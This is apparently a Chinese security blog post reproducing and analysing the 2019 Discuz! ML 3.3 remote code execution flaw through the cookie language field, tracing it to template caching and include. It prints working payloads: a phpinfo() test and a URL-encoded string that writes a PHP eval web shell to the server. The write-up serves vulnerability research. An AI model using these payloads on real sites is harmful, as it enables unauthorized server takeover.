s1. 背景
在7月11日Discuz多语言版曝出存在RCE漏洞,所以官方下载源码对漏洞进行复现和分析
下载地址:https://discuz.ml/download
本人下的是3.3版本,不得不吐槽一下,下载速度比较慢,所以我同时下载的,最先完成的是3.3按本,也就用了。
s2. 安装
本人环境:php5.6+Nginx(windows推荐使用phpstudy)
下载源码后,解压至安装目录后访问:127.0.0.1/discuz!ml3.3/upload,进入此目标将开始安装
因为本人已经安装好,就不在滚键盘了,直接下一步即可,最后写上本机的数据库连接密码,在设置管理员账号密码即可
ps:安装后无图片显示,莫慌,不影响使用
s3. 代码执行
-
漏洞在于cookie的语言可控并且没有严格过滤,注入后导致可以远程代码执行
-
访问127.0.0.1/discuz!ml3.3/upload/home.php,访问别的php文件也可以,cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE
抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().',成功执行,这里的sc可以不带
- 构造一句话,连接蚁剑
payload:%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
实际为:'.+file_put_contents('shell.php',urldecode('')).'
可看到路径下生成shell.php,连接密码为1
- 检测脚本:https://github.com/theLSA/discuz-ml-rce
借用此作者的脚本,写的非常全,方便检测和验证
s4. 分析
在discuz!ml3.3\upload\source\module\portal的portal_index.php里存在着包含
跟踪template
在discuz!ml3.3\upload\source\function的function_core.php文件中
他的返回值为DISCUZ_ROOT.cachefile在上面也有,可看出由各变量来进行组成的,其中的DISCUZ_LANG为可控制变量
discuz!ml3.3\upload\source\class\discuz下的discuz_application.php文件
↑ 可看出这里直接将值传入到lng变量,继续跟踪
↑ $lng直接赋给DISCUZ_LANG,所以DISCUZ_LANG常量为可控
因此payload通过修改cookie里的language字段内容传入,目前已经控制了文件名字,而Discuz会将我们写入的存入缓存,真正包含的是缓存文件
写入的缓存文件存在discuz!ml3.3\upload\data\template
↑ debug的时候写入的缓存文件
↑ checktplrefresh()函数中将headeradd,接着拼接给$template
↑ 最后将$template写入到缓存文件,也就是上面说的那个目录下
终于被include包含执行
- 总结:template,生成缓存文件后,又被include_once包含,造成RCE
s5. 修复
- 至文章编辑日2019年7月16日并无官方补丁
- 关注:https://bitbucket.org/vot/discuz.ml/commits/all等待补丁
PS:因博客重建,特意将本人文章从Tools转移回来,如有影响,可联系删帖
文章链接(来点个顶可好~):https://www.t00ls.net/thread-51968-1-1.html